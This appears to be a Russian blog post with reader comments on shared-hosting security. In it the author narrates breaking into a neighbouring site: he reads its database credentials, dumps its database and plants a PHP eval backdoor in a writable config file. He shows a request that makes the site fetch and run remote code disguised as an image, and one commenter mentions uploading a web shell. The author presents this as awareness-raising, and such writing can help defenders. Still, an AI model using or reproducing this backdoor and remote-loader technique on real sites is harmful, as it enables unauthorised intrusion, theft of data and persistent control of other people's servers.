Защита сайта от взлома. Продолжение.


hack

После того, как я коснулся вопросов защиты и взлома непосредственно своими руками — так сказать изнутри процесса — решил не останавливаться на достигнутом, т.к. тема меня сильно заинтересовала.

В прошлой статье  Защита сайта от взлома я затронул только один из методов (которым сам и воспользовался) — это SQL иньекция. Сегодня решил «пощупать» с другой стороны. (кстати мои советы упомянутые в прошлой статье — ой как оказались полезными бы при защите сайта сегодняшнего поста).

Данная статья ИМХО будет интересна всем тем, кто берёт хостинг с соседями — т.е. всем кто покупает обычный хостинг на серваках,  а не сервак целеком (как с виртуальными серверами дела обстоят — не знаю).

Лично я после всех своих экспериментов выдохнул с облегчением — «как же хорошо что у меня дедик !».

На этот раз буду краток и сухо приведу сам эксперимент по взлому:

1.  На одном из своих хостингов посмотрел структуру папок /www/mysite/www/htdocs/  (я посмотрел через выдачу phpinfo() — хотя способов думаю туча, вроде даже в инициализационном письме от хостера это прописано )

2. Простым ping запросом определяю реальный IP сервака ping mysite.ru  XX.XX.XX.XX

3. На сайте 2ip.ru определяю «соседей» — сайты на определенном IP (айпишник с п.2) — оказалось 190 соседей !!!

4. Беру за цель первого же соседа — сайт site.ru  (реальные названия сайтов и всех данных я решил изменить 🙂 т.к. ломаю не с целю наживы — а с целью прочувствовать как нужно защищать)

5. Захожу ssh к себе на хостинг и конечно же ожидая облом пробую сd /www/site/www/htdocs/ — !!!! и к величайшему своему удивлению попадаю по месту назначения !

6. Далее пробегаюсь по php, inc  и подобным — сразу же вытаскиваю доступ к БД — имя, юзер, пасс. — выгружаю дампером БД к себе (просто так — на всякий случай — ещё не смотрел даже чё там).

7. Прав на создание, модификацию конечно же не имею, поэтому бегаю по всей структуре в поисках заведомых 777 или 666 с «правильным» овнером.  Толи мне так фортануло, толи действительно всё так запущено — проблем с поиском такого файла у меня не возникло. Оказался конфигурационный файл — причем подключаемый из php доступного уже с браузера.

8. ВСЁ !  дописываем в него if (isset($_REQUEST[«e»])) eval(stripslashes($_REQUEST[«e»]));  и это в принципе финальная точка

в проверяем http://site.ru/file.php?e=phpinfo();

ну и как логическое завершение
http://site.ru/file.php?e=eval(file_get_contents(‘http://бла бла бла.ru/page.jpg’));
где page.jpg конечно же не картинка 😉

морда ломаемого сайта PR 3,  ТИЦ 550 наличие в каталогах Яндекс, Рамблер, Апорт, Дмоз, более 1к страниц в Гугле, более 5к страниц в Яше

и чё с тобой делать то ? ….

мля — даже страшно такие сайты ломать … 😉

Вот сижу и думаю — ваяешь, продвигаешь, развиваешь — в общем въёбываешь по полной чтоб таких показателей добиться — а тут хуякс и готово. И остаётся только надеяться на порядочность хакера и на своевременность бэкапов.

Почти как в рекламе получилось «Вы достаточно защитили свой сайт ? Вы сделали полный бэкап файлов и БД ? нет ?! тогда я иду к Вам!» 🙂

И ещё не добро так рифмуется «В нашем серве поселился замечательный сосед«.

Статья как Вы надеюсь поняли сделана не для взлома, а исключительно чтобы Вы поняли от чего и как нужно защищаться.

Возможно будет ещё статейка в продолжение, т.к. например не раскрыта тема каким образом упускаются пароли от FTP (сам на пробу с год назад покупал доступ от взломанного сайта — тогда мне  был предоставлен FTP доступ).

На сей раз всё описанное в статье придумал и реализовал сам, так что «полезных» ссылок в данном материале не будет.

P.S.

Я всё так же предлагаю свои услуги по аудиту информационной безопасности Вашего сайта.


19 комментариев на «“Защита сайта от взлома. Продолжение.”»

  1. Давайте без деталей — говорю же, не для взлома статья написана. А для того, чтобы задуматься о защите ИМХО достаточно предоставленного материала.

  2. несомненно очень Важное замечание ! (забыл я это важнейший момент написать)

    Сайт в этом примере на самописном движке, так что конкретных современных CMS думаю могут немного расслабиться — таких дыр там быть не должно.
    (особенно платные NetCat, Bitrix, и т.д.)

  3. Уфф — можно выдохнуть, оказалось не всё так плохо на хостингах — сам вебмастер сайта просто оплошность совершил и выставил права g+r o+r папки htdocs.
    Попытки таким же макаром прочесть другие сайты не принесли успеха.

  4. Мдя. Всегда, считал, что лучшая защита для сайтов — длинные пароли. А вот, что оказываеться можно с помощью пхп творить. Статейка очень понравилась.

  5. Не все дешевые тарифы дают ssh, так что я делаю немного по-другому) заливаю к себе шелл, и продолжаю также как написано в посте)

  6. Хорошо что я часто делаю резервную копию сайта, а резервную копию базы данных, чуть ли не каждый день качаю.
    Автору спасибо за статью, надо дыры поискать в движке.

  7. Беками разве что пробовать защищаться, а то опасно это все довольно таки очень. Ну или сильно свой сайт не святить, тогда все норм будет.

Добавить комментарий для Интернет казино RICH Отменить ответ

Ваш адрес email не будет опубликован. Обязательные поля помечены *